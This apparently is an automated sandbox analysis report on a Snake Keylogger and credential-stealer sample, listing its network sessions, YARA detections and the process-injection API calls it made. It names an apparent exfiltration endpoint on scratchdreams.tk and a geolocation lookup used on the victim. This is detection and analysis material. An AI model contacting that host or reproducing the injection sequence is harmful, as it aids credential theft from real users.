2024-03-27 10:24:09 UTC	689	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 27 Mar 2024 10:24:09 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1XHWcLQkrTvcWmaUrH4eQmzLt3WAev4hfQqanXiUB0wP7NpnRAKKu47eLPsjiwjdYPCh5M5C3XReIz0ZwBSwC7oPYvJyQaWR3DjNID986qShMREUNSiayzPffj1pZqbYEi5G4smi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab4c0c886908-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:09 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49707	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:10 UTC	86	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-03-27 10:24:10 UTC	698	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 3 Last-Modified: Wed, 27 Mar 2024 10:24:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sL9ZwyDsPVH5ZdbSihLAkl7EEKDykiQuEitSic%2BInZ0Y4P3e7EeMph8bQcFRYns2ed0zG7sqIIZmjpjodQtJ8uW7y1oiRJQVjOUzh3hfwW27vC1lN9sdUoWaXAOmqF1PX5byFIoH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab52ff208203-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:10 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49709	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:11 UTC	86	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-03-27 10:24:11 UTC	695	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 27 Mar 2024 10:24:11 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J0Ywr4uOvWyzvO9aktVmUw%2FTFcNIcSjPE72G90Hb0nP2ba5KJa5P4CzbQQanyVkBQmdgRbihxwNYhjJZ6fBLm2atdRAHSkJew6E%2FCMelnKqiTJEa%2FD2vpdHq62HlpwfPfotCX0nZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab5819a2084d-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:11 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49711	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:12 UTC	86	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-03-27 10:24:13 UTC	697	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: MISS Last-Modified: Wed, 27 Mar 2024 10:24:12 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zvlXXu9omYrYBU0rgwbbHwk%2FRtd1daUngWs%2FjiPS7LND3w7F7e9n1BM9waTgWYoduYMLPcVppUaDLOHYw12%2B4z971NeGK8r6W4HhiEvtOXlHDMLV0xjfJJWMyY5A4mfI8gWcwjN%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab5f2b323b78-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:13 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49713	172.67.177.134	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:13 UTC	86	OUT	GET /xml/102.165.48.43 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-03-27 10:24:13 UTC	710	IN	HTTP/1.1 200 OK Date: Wed, 27 Mar 2024 10:24:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 7 Last-Modified: Wed, 27 Mar 2024 10:24:06 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L4itUl8OG734m29nR3yiDy83fnhY3%2FKgR0kzohkEU9%2BA2CEmIjeGMjFQwxa5kqyaDi3qJte%2B1ov5QhC4R%2BERkkojRnn0A3vuToQggdfOfQnkvDf%2FDBs9cwqKSG9UcH%2FBNjB5VD%2Fb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86aeab662e782413-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:13 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 50 41 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 50 65 6e 6e 73 79 6c 76 61 6e 69 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 38 34 31 31 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>102.165.48.43</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>PA</RegionCode><RegionName>Pennsylvania</RegionName><City></City><ZipCode>18411</ZipCode><TimeZone>America/New_York</Time
2024-03-27 10:24:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49714	104.21.27.85	443	6880	C:\Users\user\Desktop\PT98765445670009.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-27 10:24:14 UTC	79	OUT	GET /_send_.php?TS HTTP/1.1 Host: scratchdreams.tk Connection: Keep-Alive
2024-03-27 10:24:45 UTC	739	IN	HTTP/1.1 522 Date: Wed, 27 Mar 2024 10:24:45 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YQfq3sw%2BJHrpevX3A479g1aYfAFj%2BEQqu8UkIagv5gUEghg2QCyKfqPl47y40DEw1q8ry0e5mY2u%2FC8tkzQNU8hkfh%2FzzT4UC8syZ8iGaAly53FHTHR40JIeIRHA%2FiHXzhR5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 86aeab6b2fa73b89-IAD alt-svc: h3=":443"; ma=86400
2024-03-27 10:24:45 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 32 Data Ascii: error code: 522

Target ID:	1
Start time:	11:24:00
Start date:	27/03/2024
Path:	C:\Users\user\Desktop\PT98765445670009.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PT98765445670009.scr.exe"
Imagebase:	0xab0000
File size:	638'464 bytes
MD5 hash:	90A34E7D570FA7C219EB5F1F193611BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: MALWARE_Win_DLInjector02, Description: Detects downloader injector, Source: 00000001.00000002.1240469053.0000000005500000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:24:01
Start date:	27/03/2024
Path:	C:\Users\user\Desktop\PT98765445670009.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\PT98765445670009.scr.exe"
Imagebase:	0x990000
File size:	638'464 bytes
MD5 hash:	90A34E7D570FA7C219EB5F1F193611BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	76%
Total number of Nodes:	25
Total number of Limit Nodes:	1

Executed Functions

Function 02D4AC18 Relevance: 1.9, Strings: 1, Instructions: 615
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(, xrefs: 02D4B3C8

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 71ee7f545c7406b93193e9ed32c290d1751eed36578f84a81d2bea18b9f99e76
Instruction ID: 0d6662f68e12d227a81fccb07a10be667f6993790fc1caf283e0b54f4c0260d2
Opcode Fuzzy Hash: 71ee7f545c7406b93193e9ed32c290d1751eed36578f84a81d2bea18b9f99e76
Instruction Fuzzy Hash: E252B074D012288FDB64DF65C994BEDBBB2BF89304F1081EAD409AB295DB349E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02D49F6C Relevance: 1.7, APIs: 1, Instructions: 223
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02D4B919

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23a79a1671b4c668726c50b812c0fea1336e7d85c89064ffa94cf468946879a6
Instruction ID: b56b2bf80196afd020765c6bd81fa516c1c8ffcfd7c151cc92d13b65441dabce
Opcode Fuzzy Hash: 23a79a1671b4c668726c50b812c0fea1336e7d85c89064ffa94cf468946879a6
Instruction Fuzzy Hash: D681CD75C00229DFDB24CFA5C884BEDBBF5BB59304F1091AAE509B7260DB349A89CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02D4A7F0 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02D4A8C3

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d42205c2666afb84f8eeef0c810a2cda86a56bac082c041af2ba488078666822
Instruction ID: 9e88b3668da972740da7075d19f5566826521db2a237f08d6ed40e1a8ca021c4
Opcode Fuzzy Hash: d42205c2666afb84f8eeef0c810a2cda86a56bac082c041af2ba488078666822
Instruction Fuzzy Hash: 7E4199B4D012589FCF10CFA9D984AEEFBF1BB49310F14942AE818B7250D739AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02D49F90 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 02D4BC25

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 6b6dc7a7c08d9d6074dd6016cd1dd231b4841abfeb8a07c9ba712ee254d05654
Instruction ID: a7690961a98245c12f63c1523461b5557d97b3d0e3f2e3cbb3b3f97813cf548d
Opcode Fuzzy Hash: 6b6dc7a7c08d9d6074dd6016cd1dd231b4841abfeb8a07c9ba712ee254d05654
Instruction Fuzzy Hash: 854166B9D042589FCF10CFAAD984A9EFBB1BB19314F14A02AE814B7310D735AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02D4A948 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02D4A9F2

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 72682b5c8d42103aa65b789c4f454766f446ea297d5b33f46260e84dcec06fc6
Instruction ID: 3b94e268a0106d1b2cea8e99addc19a097aae390924f6616e3b5f622611ddeb5
Opcode Fuzzy Hash: 72682b5c8d42103aa65b789c4f454766f446ea297d5b33f46260e84dcec06fc6
Instruction Fuzzy Hash: 803198B8D042589FCF10CFA9D981ADEFBB1BB49310F10942AE815B7310DB35A946CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02D4A6C8 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 02D4A777

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 9d8635583134457e1fd3257f510c3dd5509e08d5096dd11a42437702bc55f174
Instruction ID: 974d6eea37b6407e101aac5292240c83a0091a308157f1508f8c1c047d7310c4
Opcode Fuzzy Hash: 9d8635583134457e1fd3257f510c3dd5509e08d5096dd11a42437702bc55f174
Instruction Fuzzy Hash: E831BBB4D012589FDB10DFAAD984AEEFBF1BB49310F24802AE418B7340DB39A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02D49F78 Relevance: 1.6, APIs: 1, Instructions: 91
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64GetThreadContext.KERNEL32(?,?), ref: 02D4BB12

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c61e81bf2d0be6db93ba9124a0a923ed398603b2e4a5b3821216ba56ef283ef2
Instruction ID: b3aeb08624e6ca5c6e8de6649dcdd7026b95dfba4489b0bc3d65cc66698036aa
Opcode Fuzzy Hash: c61e81bf2d0be6db93ba9124a0a923ed398603b2e4a5b3821216ba56ef283ef2
Instruction Fuzzy Hash: AC31A9B4D012589FCB14CFAAD984ADEFBF1BB09314F24802AE418B7310D778A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 02D4AA68 Relevance: 1.6, APIs: 1, Instructions: 73
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE(?), ref: 02D4AAE6

Memory Dump Source

Source File: 00000001.00000002.1239754563.0000000002D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2d40000_PT98765445670009.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6d47210b202a1b60b05d2f6bee76485d8997fb72264aba7367b795d85f36deb1
Instruction ID: 97cd3e23e3f934f4170eb79dc417cc4f1cac1f10eb0c14f2f64a521331a483b0
Opcode Fuzzy Hash: 6d47210b202a1b60b05d2f6bee76485d8997fb72264aba7367b795d85f36deb1
Instruction Fuzzy Hash: A831AAB4D013189FCB14CFAAD985A9EFBB5BB49310F14942AE815B7340DB35A941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0120D5B8 Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1239516907.000000000120D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0120D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_120d000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745b5f58cecfbb9178fe72589d8fad8c8bb2baf80dc45e7c301a82497faed5d3
Instruction ID: 3f6382f0a021dcc77bec5efed16a29b6984779bd4ae4931c8434e89dcf9d7e40
Opcode Fuzzy Hash: 745b5f58cecfbb9178fe72589d8fad8c8bb2baf80dc45e7c301a82497faed5d3
Instruction Fuzzy Hash: B2212571515208DFDB16DFD4E9C4B16BF65FB84324F20866DE9090B28BC336D456CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0120D5B3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1239516907.000000000120D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0120D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_120d000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 85c2da0d78b3234fdd9ff0a2e4fbac3f23c2a391a0f1a3038320562e8a1a2bf1
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: E411B176504244CFCB16CF94D9C4B16BF72FB84324F2486A9D9090B697C336D456CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PT98765445670009.scr.exePID: 6880, Parent PID: 6900COMMON

Execution Graph

Execution Coverage:	15.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	29%
Total number of Nodes:	62
Total number of Limit Nodes:	7

Executed Functions

Function 052C7988 Relevance: 2.0, APIs: 1, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.3689982941.00000000052C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_52c0000_PT98765445670009.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c7eb1611d109bccf473a8a2e7b98f5299841a19c1cbc875ca04b306164e995c
Instruction ID: 6ead98727c01085bc3896e7dda510215f3be69518078521ffda94eee8604509b
Opcode Fuzzy Hash: 1c7eb1611d109bccf473a8a2e7b98f5299841a19c1cbc875ca04b306164e995c
Instruction Fuzzy Hash: 15220774E102198FDB14DFA8C884B9DBBB2FF88300F1486A9D449AB395DB759D86CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02C3B388 Relevance: 1.6, Strings: 1, Instructions: 381
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

s, xrefs: 02C3B3FE

Memory Dump Source

Source File: 00000002.00000002.3687789368.0000000002C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c30000_PT98765445670009.jbxd

Similarity

API ID:
String ID: s
API String ID: 0-453955339
